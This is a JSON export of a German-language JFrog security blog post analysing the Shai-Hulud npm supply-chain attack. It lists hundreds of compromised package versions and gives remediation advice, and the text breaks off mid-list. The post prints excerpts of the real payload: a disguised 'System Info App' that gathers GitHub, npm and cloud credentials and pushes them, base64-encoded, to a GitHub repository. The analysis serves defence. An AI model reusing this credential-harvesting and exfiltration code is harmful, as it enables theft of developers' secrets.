{"id":158527,"date":"2025-09-16T21:03:27","date_gmt":"2025-09-16T19:03:27","guid":{"rendered":"https:\/\/jfrog.com\/blog\/shai-hulud-npm-supply-chain-attack-new-compromised-packages-detected\/"},"modified":"2025-12-16T19:09:54","modified_gmt":"2025-12-16T17:09:54","slug":"shai-hulud-npm-supply-chain-attack-new-compromised-packages-detected","status":"publish","type":"post","link":"https:\/\/jfrog.com\/de\/blog\/shai-hulud-npm-supply-chain-attack-new-compromised-packages-detected\/","title":{"rendered":"Shai-Hulud npm Lieferkettenangriff \u2013 neue kompromittierte Pakete entdeckt"},"content":{"rendered":"<p><img decoding=\"async\" class=\"size-full wp-image-156597 aligncenter\" src=\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2025\/08\/26212322\/Sec-Research_863x300.png\" alt=\"\" width=\"863\" height=\"300\" \/><\/p>\n<p><strong>WICHTIGES UPDATE: Die R\u00fcckkehr von Shai-Hulud<\/strong><\/p>\n<p>(24. November 2025) JFrog \u00fcberwacht, analysiert und dokumentiert fortlaufend eine neue Welle der \u201eShai-Hulud\u201c Software Supply Chain Attack. Nach der ersten Kampagne sind die Threat Actors mit ausgefeilteren Taktiken zur\u00fcckgekehrt und haben weitere 796 neue Malicious Packages in f\u00fchrenden Public Registries kompromittiert.<\/p>\n<p>Diese neue Welle unterscheidet sich in wesentlichen Punkten von der ersten, unter anderem durch den Einsatz von Obfuscation-Techniken zur Umgehung von Detektionsmechanismen sowie durch eine verbesserte Persistenz. Diese Entwicklung unterstreicht die dringende Notwendigkeit f\u00fcr Unternehmen, proaktiver zu handeln, ihre Software Supply Chain Security sofort zu h\u00e4rten und die Vorteile eines Shift-Left-Plattform-Ansatzes zu nutzen.<\/p>\n<p>Eine detaillierte technische Analyse der zweiten Welle \u2013 einschlie\u00dflich vollst\u00e4ndiger IOCs und einer Aufschl\u00fcsselung des Malware-Verhaltens \u2013 finden Sie in unserem aktuellen Research Report zur Shai-Hulud npm Supply Chain Attack.<\/p>\n<hr \/>\n<p>K\u00fcrzlich wurde das npm-\u00d6kosystem zum dritten Mal Ziel eines gro\u00df angelegten Angriffs. Nach der <a href=\"https:\/\/x.com\/JFrogSecurity\/status\/1960811961760759911\">Kompromittierung der <i>nx<\/i>-Pakete<\/a> und einer weiteren Welle, die<a href=\"https:\/\/www.npmjs.com\/package\/backslash\"> popul\u00e4re<\/a> Pakete ins Visier nahm, wurde das Registry erneut attackiert.<\/p>\n<p>Den ersten Hinweis lieferte Daniel Pereira, der das <a href=\"https:\/\/www.linkedin.com\/posts\/daniel-pereira-b17a27160_npm-profile-activity-7373489836437114880-D9ma\">kompromittierte<\/a> Paket @ctrl\/tinycolor@4.1.1identifizierte. Noch am selben Tag entdeckten die Malware-Scanner von JFrog 164 eindeutig b\u00f6sartige Pakete in insgesamt 338 infizierten Versionen \u2013 mit mehreren Varianten einer identischen Datenklau-Payload.<\/p>\n<h2>Shai-Hulud Data-Stealer-Payload<\/h2>\n<p>Die b\u00f6sartige Payload ist in einer Datei namens bundle.js enthalten und als Webpack-Anwendung verpackt. W\u00e4hrend sie vorgibt, das System des Nutzers zu optimieren, verbirgt sich dahinter in Wahrheit eine deutlich gef\u00e4hrlichere Funktion.<\/p>\n<pre class=\"language-json\"><code>{\r\n  name: \"System Info App\",\r\n  version: \"1.0.0\",\r\n  description: \"Optimizes system.\"\r\n}<\/code><\/pre>\n<p>Anstelle einer Systemoptimierung sammelt die Anwendung zun\u00e4chst umfassende Informationen \u00fcber das System \u2013 darunter Anmeldedaten von GitHub, npm, AWS und GCP. Zus\u00e4tzlich zu den unterst\u00fctzten Plattformen l\u00e4dt sie das Open-Source-Tool <a href=\"https:\/\/github.com\/trufflesecurity\/trufflehog\">TruffleHog<\/a>\u00a0herunter und f\u00fchrt es aus. Dieses durchsucht das System gezielt nach genau diesen Arten von Geheimnissen und sammelt sie.<\/p>\n<pre class=\"language-javascript\"><code>\r\nconst system_info = {\r\n        application: t.getConfig(),\r\n        system: {\r\n            platform: r.platform,\r\n            architecture: r.architecture,\r\n            platformDetailed: r.platformRaw,\r\n            architectureDetailed: r.archRaw\r\n        },\r\n        runtime: runtime_info,\r\n        environment: process.env,\r\n        modules: {\r\n            github: {\r\n                authenticated: GitHubModule.isAuthenticated(),\r\n                token: GitHubModule.getCurrentToken()\r\n            },\r\n            aws: {\r\n                secrets: ue\r\n            },\r\n            gcp: {\r\n                secrets: de\r\n            },\r\n            truffleHog: truffle_hog_dump,\r\n            npm: {\r\n                token: npm_token,\r\n                authenticated: npm_authenticated,\r\n                username: npm_user\r\n            }\r\n        }\r\n    };\r\n<\/code><\/pre>\n<p>Nachdem die Daten gesammelt wurden, versucht die Anwendung, sich \u00fcber das bestehende Benutzerkonto zu authentifizieren. Im Erfolgsfall erstellt sie ein Repository mit dem Namen <b>Shai-Hulud<\/b>, in dem die gestohlenen Inhalte mehrfach base64-codiert abgelegt werden.<\/p>\n<pre class=\"language-javascript\"><code>\r\nasync makeRepo(t, r) {\r\n        const n = (await this.octokit.rest.repos.createForAuthenticatedUser({\r\n            name: t,\r\n            description: \"Shai-Hulud Repository.\",\r\n            private: !0,\r\n        })).data;\r\n        return await new Promise(t =&gt; setTimeout(t, 3e3)), r &amp;&amp; await this.octokit.rest.repos.createOrUpdateFileContents({\r\n            path: \"data.json\",\r\n            message: \"Initial commit\",\r\n            content: Buffer.from(Buffer.from(Buffer.from(r).toString(\"base64\")).toString(\"base64\")).toString(\"base64\")\r\n        })\r\n}\r\n\r\n\r\nif GitHubModule.isAuthenticated() &amp; ! GitHubModule.repoExists(\"Shai-Hulud\") {\r\n   await GitHubModule.makeRepo(\"Shai-Hulud\", formatOutput(pe)\r\n   exitWithCode(0)\r\n}\r\n<\/code><\/pre>\n<p><img decoding=\"async\" class=\"alignnone size-full wp-image-158251\" src=\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2025\/09\/16200956\/Picture1.png\" alt=\"\" width=\"936\" height=\"422\" \/><\/p>\n<p>Wir haben acht Varianten der oben beschriebenen Payload beobachtet. Zwar bleibt die Hauptfunktionalit\u00e4t gleich, jedoch weisen einige Versionen leichte Unterschiede auf \u2013 was auf schrittweise Anpassungen durch den Angreifer im Verlauf der Kampagne hindeutet.<\/p>\n<p>Beispielsweise setzen einige Versionen das \u201e<b>Shai-Hulud<\/b>\u201c-Repository auf privat, um es der Entdeckung zu entziehen. Eine andere Variante versucht zus\u00e4tzlich zu den bereits erw\u00e4hnten Zugangsdaten auch <b>Azure-Credentials <\/b>zu stehlen.<\/p>\n<h1>Was sollten betroffene Nutzer tun?<\/h1>\n<p>Wenn Sie eines der unter \u201eKompromittierte Pakete\u201c aufgelisteten Pakete installiert haben, besteht die M\u00f6glichkeit, dass die b\u00f6sartige Payload sensible Informationen von Ihrem System exfiltriert hat.<\/p>\n<p>F\u00fchren Sie in diesem Fall die folgenden Ma\u00dfnahmen durch:<\/p>\n<ol>\n<li aria-level=\"1\"><b>Rotieren Sie alle Zugriffstokens<\/b>, die auf dem betroffenen System gespeichert waren \u2013 insbesondere von <b>GitHub, npm, AWS, GCP<\/b> und <b>Azure<\/b>.<\/li>\n<li aria-level=\"1\"><b>Rotieren Sie auch alle Zugriffstokens<\/b>, die durch TruffleHog identifiziert werden k\u00f6nnen. Eine Liste der unterst\u00fctzten Anbieter finden Sie im <a href=\"https:\/\/github.com\/trufflesecurity\/trufflehog\/tree\/main\/pkg\/detectors\">GitHub-Repository von TruffleHog<\/a>.<\/li>\n<\/ol>\n<div style=\"border-top: 1px solid #40be46; border-bottom: 1px solid #40be46; padding: 0.5rem 0; margin-bottom: 1rem;\"><strong>Info:<\/strong> Um Ihre Software-Lieferkette proaktiv zu sch\u00fctzen, empfehlen wir den Einsatz von <a href=\"https:\/\/jfrog.com\/de\/curation\/\">JFrog Curation<\/a>. Diese L\u00f6sung blockiert riskante oder b\u00f6sartige Open-Source-Pakete bereits, bevor sie in Ihre Lieferkette gelangen. Mehr erfahren Sie bei einer Demo \u2013 <a href=\"https:\/\/jfrog.com\/de\/platform\/schedule-a-demo\/\">vereinbaren Sie jetzt einen Termin<\/a>.<\/div>\n<h2>Wer steckt hinter dem Angriff?<\/h2>\n<p>Die Nutzung von GitHub-Repositories zur Speicherung gestohlener Daten erinnert an die beim <b>NX CLI-Angriff <\/b>eingesetzten Techniken. Dennoch reicht diese \u00c4hnlichkeit nicht aus, um sicher festzustellen, ob beide Vorf\u00e4lle demselben Angreifer zuzuordnen sind.<\/p>\n<p>Zwar weisen <b>Tooling<\/b> und <b>Payload-Design<\/b> gewisse Parallelen auf, eine eindeutige Attribution ist jedoch bislang nicht m\u00f6glich.<\/p>\n<h2>Kompromittierte Pakete<\/h2>\n<h3>Urspr\u00fcnglicher Bericht<\/h3>\n<p>Im urspr\u00fcnglichen Bericht wurden die folgenden kompromittierten Paketversionen genannt:<\/p>\n<p>angulartics2@14.1.2<\/p>\n<p>@ctrl\/deluge@7.2.2<\/p>\n<p>@ctrl\/golang-template@1.4.3<\/p>\n<p>@ctrl\/magnet-link@4.0.4<\/p>\n<p>@ctrl\/ngx-codemirror@7.0.2<\/p>\n<p>@ctrl\/ngx-csv@6.0.2<\/p>\n<p>@ctrl\/ngx-emoji-mart@9.2.2<\/p>\n<p>@ctrl\/ngx-rightclick@4.0.2<\/p>\n<p>@ctrl\/qbittorrent@9.7.2<\/p>\n<p>@ctrl\/react-adsense@2.0.2<\/p>\n<p>@ctrl\/shared-torrent@6.3.2<\/p>\n<p>@ctrl\/tinycolor@4.1.1, @4.1.2<\/p>\n<p>@ctrl\/torrent-file@4.1.2<\/p>\n<p>@ctrl\/transmission@7.3.1<\/p>\n<p>@ctrl\/ts-base32@4.0.2<\/p>\n<p>encounter-playground@0.0.5<\/p>\n<p>json-rules-engine-simplified@0.2.4, 0.2.1<\/p>\n<p>koa2-swagger-ui@5.11.2, 5.11.1<\/p>\n<p>@nativescript-community\/gesturehandler@2.0.35<\/p>\n<p>@nativescript-community\/sentry 4.6.43<\/p>\n<p>@nativescript-community\/text@1.6.13<\/p>\n<p>@nativescript-community\/ui-collectionview@6.0.6<\/p>\n<p>@nativescript-community\/ui-drawer@0.1.30<\/p>\n<p>@nativescript-community\/ui-image@4.5.6<\/p>\n<p>@nativescript-community\/ui-material-bottomsheet@7.2.72<\/p>\n<p>@nativescript-community\/ui-material-core@7.2.76<\/p>\n<p>@nativescript-community\/ui-material-core-tabs@7.2.76<\/p>\n<p>ngx-color@10.0.2<\/p>\n<p>ngx-toastr@19.0.2<\/p>\n<p>ngx-trend@8.0.1<\/p>\n<p>react-complaint-image@0.0.35<\/p>\n<p>react-jsonschema-form-conditionals@0.3.21<\/p>\n<p>react-jsonschema-form-extras@1.0.4<\/p>\n<p>rxnt-authentication@0.0.6<\/p>\n<p>rxnt-healthchecks-nestjs@1.0.5<\/p>\n<p>rxnt-kue@1.0.7<\/p>\n<p>swc-plugin-component-annotate@1.9.2<\/p>\n<p>ts-gaussian@3.0.6<\/p>\n<h3>(Laufend) neu entdeckte kompromittierte Pakete<\/h3>\n<p>Wir beobachten weiterhin die fortschreitende Kompromittierung weiterer Pakete im Rahmen dieser Kampagne. Unsere Monitoring-Infrastruktur hat zus\u00e4tzliche b\u00f6sartige Pakete identifiziert, die dieselbe Payload \u2013 oder Varianten davon \u2013 enthalten. Diese wurden in <b>Hunderten von Versionen <\/b>ver\u00f6ffentlicht:<\/p>\n<p>@ahmedhfarag\/ngx-perfect-scrollbar@20.0.20<br \/>\n@ahmedhfarag\/ngx-virtual-scroller@4.0.4<br \/>\n@art-ws\/common@2.0.22<br \/>\n@art-ws\/common@2.0.28<br \/>\n@art-ws\/config-eslint@2.0.4<br \/>\n@art-ws\/config-eslint@2.0.5<br \/>\n@art-ws\/config-ts@2.0.7<br \/>\n@art-ws\/config-ts@2.0.8<br \/>\n@art-ws\/db-context@2.0.21<br \/>\n@art-ws\/db-context@2.0.24<br \/>\n@art-ws\/di@2.0.28<br \/>\n@art-ws\/di@2.0.32<br \/>\n@art-ws\/di-node@2.0.13<br \/>\n@art-ws\/eslint@1.0.5<br \/>\n@art-ws\/eslint@1.0.6<br \/>\n@art-ws\/fastify-http-server@2.0.24<br \/>\n@art-ws\/fastify-http-server@2.0.27<br \/>\n@art-ws\/http-server@2.0.21<br \/>\n@art-ws\/http-server@2.0.25<br \/>\n@art-ws\/openapi@0.1.12<br \/>\n@art-ws\/openapi@0.1.9<br \/>\n@art-ws\/package-base@1.0.5<br \/>\n@art-ws\/package-base@1.0.6<br \/>\n@art-ws\/prettier@1.0.5<br \/>\n@art-ws\/prettier@1.0.6<br \/>\n@art-ws\/slf@2.0.15<br \/>\n@art-ws\/slf@2.0.22<br \/>\n@art-ws\/ssl-info@1.0.10<br \/>\n@art-ws\/ssl-info@1.0.9<br \/>\n@art-ws\/web-app@1.0.3<br \/>\n@art-ws\/web-app@1.0.4<br \/>\n@basic-ui-components-stc\/basic-ui-components@1.0.5<br \/>\n@crowdstrike\/commitlint@8.1.1<br \/>\n@crowdstrike\/commitlint@8.1.2<br \/>\n@crowdstrike\/falcon-shoelace@0.4.1<br \/>\n@crowdstrike\/falcon-shoelace@0.4.2<br \/>\n@crowdstrike\/foundry-js@0.19.1<br \/>\n@crowdstrike\/foundry-js@0.19.2<br \/>\n@crowdstrike\/glide-core@0.34.2<br \/>\n@crowdstrike\/glide-core@0.34.3<br \/>\n@crowdstrike\/logscale-dashboard@1.205.1<br \/>\n@crowdstrike\/logscale-dashboard@1.205.2<br \/>\n@crowdstrike\/logscale-file-editor@1.205.1<br \/>\n@crowdstrike\/logscale-file-editor@1.205.2<br \/>\n@crowdstrike\/logscale-parser-edit@1.205.1<br \/>\n@crowdstrike\/logscale-parser-edit@1.205.2<br \/>\n@crowdstrike\/logscale-search@1.205.1<br \/>\n@crowdstrike\/logscale-search@1.205.2<br \/>\n@crowdstrike\/tailwind-toucan-base@5.0.1<br \/>\n@crowdstrike\/tailwind-toucan-base@5.0.2<br \/>\n@ctrl\/deluge@7.2.1<br \/>\n@ctrl\/golang-template@1.4.2<br \/>\n@ctrl\/magnet-link@4.0.3<br \/>\n@ctrl\/ngx-codemirror@7.0.1<br \/>\n@ctrl\/ngx-csv@6.0.1<br \/>\n@ctrl\/ngx-emoji-mart@9.2.1<br \/>\n@ctrl\/ngx-rightclick@4.0.1<br \/>\n@ctrl\/qbittorrent@9.7.1<br \/>\n@ctrl\/react-adsense@2.0.1<br \/>\n@ctrl\/shared-torrent@6.3.1<br \/>\n@ctrl\/tinycolor@4.1.1<br \/>\n@ctrl\/tinycolor@4.1.2<br \/>\n@ctrl\/torrent-file@4.1.1<br \/>\n@ctrl\/ts-base32@4.0.1<br \/>\n@hestjs\/core@0.2.1<br \/>\n@hestjs\/cqrs@0.1.6<br \/>\n@hestjs\/demo@0.1.2<br \/>\n@hestjs\/eslint-config@0.1.2<br \/>\n@hestjs\/logger@0.1.6<br \/>\n@hestjs\/scalar@0.1.7<br \/>\n@hestjs\/validation@0.1.6<br \/>\n@nativescript-community\/arraybuffers@1.1.6<br \/>\n@nativescript-community\/arraybuffers@1.1.7<br \/>\n@nativescript-community\/arraybuffers@1.1.8<br \/>\n@nativescript-community\/perms@3.0.5<br \/>\n@nativescript-community\/perms@3.0.6<br \/>\n@nativescript-community\/perms@3.0.7<br \/>\n@nativescript-community\/perms@3.0.8<br \/>\n@nativescript-community\/perms@3.0.9<br \/>\n@nativescript-community\/sentry@4.6.43<br \/>\n@nativescript-community\/sqlite@3.5.3<br \/>\n@nativescript-community\/sqlite@3.5.4<br \/>\n@nativescript-community\/sqlite@3.5.5<br \/>\n@nativescript-community\/text@1.6.10<br \/>\n@nativescript-community\/text@1.6.11<br \/>\n@nativescript-community\/text@1.6.12<br \/>\n@nativescript-community\/text@1.6.9<br \/>\n@nativescript-community\/typeorm@0.2.30<br \/>\n@nativescript-community\/typeorm@0.2.31<br \/>\n@nativescript-community\/typeorm@0.2.32<br \/>\n@nativescript-community\/typeorm@0.2.33<br \/>\n@nativescript-community\/ui-document-picker@1.1.27<br \/>\n@nativescript-community\/ui-document-picker@1.1.28<br \/>\n@nativescript-community\/ui-label@1.3.35<br \/>\n@nativescript-community\/ui-label@1.3.36<br \/>\n@nativescript-community\/ui-label@1.3.37<br \/>\n@nativescript-community\/ui-material-bottom-navigation@7.2.72<br \/>\n@nativescript-community\/ui-material-bottom-navigation@7.2.73<br \/>\n@nativescript-community\/ui-material-bottom-navigation@7.2.74<br \/>\n@nativescript-community\/ui-material-bottom-navigation@7.2.75<br \/>\n@nativescript-community\/ui-material-core@7.2.72<br \/>\n@nativescript-community\/ui-material-core@7.2.73<br \/>\n@nativescript-community\/ui-material-core@7.2.74<br \/>\n@nativescript-community\/ui-material-core@7.2.75<br \/>\n@nativescript-community\/ui-material-core-tabs@7.2.72<br \/>\n@nativescript-community\/ui-material-core-tabs@7.2.73<br \/>\n@nativescript-community\/ui-material-core-tabs@7.2.74<br \/>\n@nativescript-community\/ui-material-core-tabs@7.2.75<br \/>\n@nativescript-community\/ui-material-ripple@7.2.72<br \/>\n@nativescript-community\/ui-material-ripple@7.2.73<br \/>\n@nativescript-community\/ui-material-ripple@7.2.74<br \/>\n@nativescript-community\/ui-material-ripple@7.2.75<br \/>\n@nativescript-community\/ui-material-tabs@7.2.72<br \/>\n@nativescript-community\/ui-material-tabs@7.2.73<br \/>\n@nativescript-community\/ui-material-tabs@7.2.74<br \/>\n@nativescript-community\/ui-material-tabs@7.2.75<br \/>\n@nativescript-community\/ui-pager@14.1.35<br \/>\n@nativescript-community\/ui-pager@14.1.36<br \/>\n@nativescript-community\/ui-pager@14.1.37<br \/>\n@nativescript-community\/ui-pager@14.1.38<br \/>\n@nativescript-community\/ui-pulltorefresh@2.5.4<br \/>\n@nativescript-community\/ui-pulltorefresh@2.5.5<br \/>\n@nativescript-community\/ui-pulltorefresh@2.5.6<br \/>\n@nativescript-community\/ui-pulltorefresh@2.5.7<br \/>\n@nexe\/config-manager@0.1.1<br \/>\n@nexe\/eslint-config@0.1.1<br \/>\n@nexe\/logger@0.1.3<br \/>\n@nstudio\/angular@20.0.4<br \/>\n@nstudio\/angular@20.0.5<br \/>\n@nstudio\/angular@20.0.6<br \/>\n@nstudio\/focus@20.0.4<br \/>\n@nstudio\/focus@20.0.5<br \/>\n@nstudio\/focus@20.0.6<br \/>\n@nstudio\/nativescript-checkbox@2.0.6<br \/>\n@nstudio\/nativescript-checkbox@2.0.7<br \/>\n@nstudio\/nativescript-checkbox@2.0.8<br \/>\n@nstudio\/nativescript-checkbox@2.0.9<br \/>\n@nstudio\/nativescript-loading-indicator@5.0.1<br \/>\n@nstudio\/nativescript-loading-indicator@5.0.2<br \/>\n@nstudio\/nativescript-loading-indicator@5.0.3<br \/>\n@nstudio\/nativescript-loading-indicator@5.0.4<br \/>\n@nstudio\/ui-collectionview@5.1.11<br \/>\n@nstudio\/ui-collectionview@5.1.12<br \/>\n@nstudio\/ui-collectionview@5.1.13<br \/>\n@nstudio\/ui-collectionview@5.1.14<br \/>\n@nstudio\/web@20.0.4<br \/>\n@nstudio\/web-angular@20.0.4<br \/>\n@nstudio\/xplat@20.0.4<br \/>\n@nstudio\/xplat@20.0.5<br \/>\n@nstudio\/xplat@20.0.6<br \/>\n@nstudio\/xplat@20.0.7<br \/>\n@nstudio\/xplat-utils@20.0.4<br \/>\n@nstudio\/xplat-utils@20.0.5<br \/>\n@nstudio\/xplat-utils@20.0.6<br \/>\n@nstudio\/xplat-utils@20.0.7<br \/>\n@operato\/board@9.0.35<br \/>\n@operato\/board@9.0.36<br \/>\n@operato\/board@9.0.37<br \/>\n@operato\/board@9.0.38<br \/>\n@operato\/board@9.0.39<br \/>\n@operato\/board@9.0.40<br \/>\n@operato\/board@9.0.41<br \/>\n@operato\/board@9.0.42<br \/>\n@operato\/board@9.0.43<br \/>\n@operato\/board@9.0.44<br \/>\n@operato\/board@9.0.45<br \/>\n@operato\/board@9.0.46<br \/>\n@operato\/board@9.0.47<br \/>\n@operato\/board@9.0.48<br \/>\n@operato\/board@9.0.49<br \/>\n@operato\/board@9.0.50<br \/>\n@operato\/board@9.0.51<br \/>\n@operato\/data-grist@9.0.29<br \/>\n@operato\/data-grist@9.0.35<br \/>\n@operato\/data-grist@9.0.36<br \/>\n@operato\/data-grist@9.0.37<br \/>\n@operato\/graphql@9.0.22<br \/>\n@operato\/graphql@9.0.35<br \/>\n@operato\/graphql@9.0.36<br \/>\n@operato\/graphql@9.0.37<br \/>\n@operato\/graphql@9.0.38<br \/>\n@operato\/graphql@9.0.39<br \/>\n@operato\/graphql@9.0.40<br \/>\n@operato\/graphql@9.0.41<br \/>\n@operato\/graphql@9.0.42<br \/>\n@operato\/graphql@9.0.43<br \/>\n@operato\/graphql@9.0.44<br \/>\n@operato\/graphql@9.0.45<br \/>\n@operato\/graphql@9.0.46<br \/>\n@operato\/graphql@9.0.47<br \/>\n@operato\/graphql@9.0.48<br \/>\n@operato\/graphql@9.0.49<br \/>\n@operato\/graphql@9.0.50<br \/>\n@operato\/graphql@9.0.51<br \/>\n@operato\/headroom@9.0.2<br \/>\n@operato\/headroom@9.0.35<br \/>\n@operato\/headroom@9.0.36<br \/>\n@operato\/headroom@9.0.37<br \/>\n@operato\/help@9.0.35<br \/>\n@operato\/help@9.0.36<br \/>\n@operato\/help@9.0.37<br \/>\n@operato\/help@9.0.38<br \/>\n@operato\/help@9.0.39<br \/>\n@operato\/help@9.0.40<br \/>\n@operato\/help@9.0.41<br \/>\n@operato\/help@9.0.42<br \/>\n@operato\/help@9.0.43<br \/>\n@operato\/help@9.0.44<br \/>\n@operato\/help@9.0.45<br \/>\n@operato\/help@9.0.46<br \/>\n@operato\/help@9.0.47<br \/>\n@operato\/help@9.0.48<br \/>\n@operato\/help@9.0.49<br \/>\n@operato\/help@9.0.50<br \/>\n@operato\/help@9.0.51<br \/>\n@operato\/i18n@9.0.35<br \/>\n@operato\/i18n@9.0.36<br \/>\n@operato\/i18n@9.0.37<br \/>\n@operato\/input@9.0.35<br \/>\n@operato\/input@9.0.36<br \/>\n@operato\/input@9.0.37<br \/>\n@operato\/input@9.0.38<br \/>\n@operato\/input@9.0.39<br \/>\n@operato\/input@9.0.40<br \/>\n@operato\/input@9.0.41<br \/>\n@operato\/input@9.0.42<br \/>\n@operato\/input@9.0.43<br \/>\n@operato\/input@9.0.44<br \/>\n@operato\/input@9.0.45<br \/>\n@operato\/input@9.0.46<br \/>\n@operato\/input@9.0.47<br \/>\n@operato\/input@9.0.48<br \/>\n@operato\/layout@9.0.35<br \/>\n@operato\/layout@9.0.37<br \/>\n@operato\/popup@9.0.35<br \/>\n@operato\/popup@9.0.36<br \/>\n@operato\/popup@9.0.37<br \/>\n@operato\/popup@9.0.38<br \/>\n@operato\/popup@9.0.39<br \/>\n@operato\/popup@9.0.40<br \/>\n@operato\/popup@9.0.41<br \/>\n@operato\/popup@9.0.42<br \/>\n@operato\/popup@9.0.43<br \/>\n@operato\/popup@9.0.44<br \/>\n@operato\/popup@9.0.45<br \/>\n@operato\/popup@9.0.46<br \/>\n@operato\/popup@9.0.47<br \/>\n@operato\/popup@9.0.48<br \/>\n@operato\/popup@9.0.49<br \/>\n@operato\/popup@9.0.50<br \/>\n@operato\/popup@9.0.51<br \/>\n@operato\/pull-to-refresh@9.0.35<br \/>\n@operato\/pull-to-refresh@9.0.36<br \/>\n@operato\/pull-to-refresh@9.0.37<br \/>\n@operato\/pull-to-refresh@9.0.38<br \/>\n@operato\/pull-to-refresh@9.0.39<br \/>\n@operato\/pull-to-refresh@9.0.40<br \/>\n@operato\/pull-to-refresh@9.0.41<br \/>\n@operato\/pull-to-refresh@9.0.42<br \/>\n@operato\/pull-to-refresh@9.0.43<br \/>\n@operato\/pull-to-refresh@9.0.44<br \/>\n@operato\/pull-to-refresh@9.0.45<br \/>\n@operato\/pull-to-refresh@9.0.46<br \/>\n@operato\/pull-to-refresh@9.0.47<br \/>\n@operato\/shell@9.0.22<br \/>\n@operato\/shell@9.0.35<br \/>\n@operato\/shell@9.0.36<br \/>\n@operato\/shell@9.0.37<br \/>\n@operato\/shell@9.0.38<br \/>\n@operato\/shell@9.0.39<br \/>\n@operato\/styles@9.0.2<br \/>\n@operato\/styles@9.0.35<br \/>\n@operato\/styles@9.0.36<br \/>\n@operato\/styles@9.0.37<br \/>\n@operato\/utils@9.0.22<br \/>\n@operato\/utils@9.0.35<br \/>\n@operato\/utils@9.0.36<br \/>\n@operato\/utils@9.0.37<br \/>\n@operato\/utils@9.0.38<br \/>\n@operato\/utils@9.0.39<br \/>\n@operato\/utils@9.0.40<br \/>\n@operato\/utils@9.0.41<br \/>\n@operato\/utils@9.0.42<br \/>\n@operato\/utils@9.0.43<br \/>\n@operato\/utils@9.0.44<br \/>\n@operato\/utils@9.0.45<br \/>\n@operato\/utils@9.0.46<br \/>\n@operato\/utils@9.0.47<br \/>\n@operato\/utils@9.0.48<br \/>\n@operato\/utils@9.0.49<br \/>\n@operato\/utils@9.0.50<br \/>\n@operato\/utils@9.0.51<br \/>\n@teselagen\/bio-parsers@0.4.29<br \/>\n@teselagen\/bio-parsers@0.4.30<br \/>\n@teselagen\/bounce-loader@0.3.16<br \/>\n@teselagen\/bounce-loader@0.3.17<br \/>\n@teselagen\/file-utils@0.3.21<br \/>\n@teselagen\/file-utils@0.3.22<br \/>\n@teselagen\/liquibase-tools@0.4.1<br \/>\n@teselagen\/ove@0.7.39<br \/>\n@teselagen\/ove@0.7.40<br \/>\n@teselagen\/range-utils@0.3.14<br \/>\n@teselagen\/range-utils@0.3.15<br \/>\n@teselagen\/react-list@0.8.19<br \/>\n@teselagen\/react-list@0.8.20<br \/>\n@teselagen\/react-table@6.10.19<br \/>\n@teselagen\/react-table@6.10.20<br \/>\n@teselagen\/react-table@6.10.21<br \/>\n@teselagen\/react-table@6.10.22<br \/>\n@teselagen\/sequence-utils@0.3.33<br \/>\n@teselagen\/sequence-utils@0.3.34<br \/>\n@teselagen\/ui@0.9.10<br \/>\n@teselagen\/ui@0.9.9<br \/>\n@thangved\/callback-window@1.1.4<br \/>\n@things-factory\/attachment-base@9.0.42<br \/>\n@things-factory\/attachment-base@9.0.43<br \/>\n@things-factory\/attachment-base@9.0.44<br \/>\n@things-factory\/attachment-base@9.0.45<br \/>\n@things-factory\/attachment-base@9.0.46<br \/>\n@things-factory\/attachment-base@9.0.47<br \/>\n@things-factory\/attachment-base@9.0.48<br \/>\n@things-factory\/attachment-base@9.0.49<br \/>\n@things-factory\/attachment-base@9.0.50<br \/>\n@things-factory\/attachment-base@9.0.51<br \/>\n@things-factory\/attachment-base@9.0.52<br \/>\n@things-factory\/attachment-base@9.0.53<br \/>\n@things-factory\/attachment-base@9.0.54<br \/>\n@things-factory\/attachment-base@9.0.55<br \/>\n@things-factory\/auth-base@9.0.42<br \/>\n@things-factory\/auth-base@9.0.43<br \/>\n@things-factory\/auth-base@9.0.44<br \/>\n@things-factory\/auth-base@9.0.45<br \/>\n@things-factory\/email-base@9.0.42<br \/>\n@things-factory\/email-base@9.0.43<br \/>\n@things-factory\/email-base@9.0.44<br \/>\n@things-factory\/email-base@9.0.45<br \/>\n@things-factory\/email-base@9.0.46<br \/>\n@things-factory\/email-base@9.0.47<br \/>\n@things-factory\/email-base@9.0.48<br \/>\n@things-factory\/email-base@9.0.49<br \/>\n@things-factory\/email-base@9.0.50<br \/>\n@things-factory\/email-base@9.0.51<br \/>\n@things-factory\/email-base@9.0.52<br \/>\n@things-factory\/email-base@9.0.53<br \/>\n@things-factory\/email-base@9.0.54<br \/>\n@things-factory\/email-base@9.0.55<br \/>\n@things-factory\/email-base@9.0.56<br \/>\n@things-factory\/email-base@9.0.57<br \/>\n@things-factory\/email-base@9.0.58<br \/>\n@things-factory\/email-base@9.0.59<br \/>\n@things-factory\/env@9.0.42<br \/>\n@things-factory\/env@9.0.43<br \/>\n@things-factory\/env@9.0.44<br \/>\n@things-factory\/env@9.0.45<br \/>\n@things-factory\/integration-base@9.0.42<br \/>\n@things-factory\/integration-base@9.0.43<br \/>\n@things-factory\/integration-base@9.0.44<br \/>\n@things-factory\/integration-base@9.0.45<br \/>\n@things-factory\/integration-marketplace@9.0.42<br \/>\n@things-factory\/integration-marketplace@9.0.43<br \/>\n@things-factory\/integration-marketplace@9.0.44<br \/>\n@things-factory\/integration-marketplace@9.0.45<br \/>\n@things-factory\/shell@9.0.42<br \/>\n@things-factory\/shell@9.0.43<br \/>\n@things-factory\/shell@9.0.44<br \/>\n@things-factory\/shell@9.0.45<br \/>\n@tnf-dev\/api@1.0.8<br \/>\n@tnf-dev\/core@1.0.8<br \/>\n@tnf-dev\/js@1.0.8<br \/>\n@tnf-dev\/mui@1.0.8<br \/>\n@tnf-dev\/react@1.0.8<br \/>\n@ui-ux-gang\/devextreme-angular-rpk@24.1.7<br \/>\n@ui-ux-gang\/devextreme-rpk@24.1.7<br \/>\n@yoobic\/design-system@6.5.17<br \/>\n@yoobic\/jpeg-camera-es6@1.0.13<br \/>\n@yoobic\/yobi@8.7.53<br \/>\nace-colorpicker-rpk@0.0.14<br \/>\nairchief@0.3.1<br \/>\nairpilot@0.8.8<br \/>\nangulartics2@14.1.1<br \/>\nbrowser-webdriver-downloader@3.0.8<br \/>\ncapacitor-notificationhandler@0.0.2<br \/>\ncapacitor-notificationhandler@0.0.3<br \/>\ncapacitor-plugin-healthapp@0.0.2<br \/>\ncapacitor-plugin-healthapp@0.0.3<br \/>\ncapacitor-plugin-ihealth@1.1.8<br \/>\ncapacitor-plugin-ihealth@1.1.9<br \/>\ncapacitor-plugin-vonage@1.0.2<br 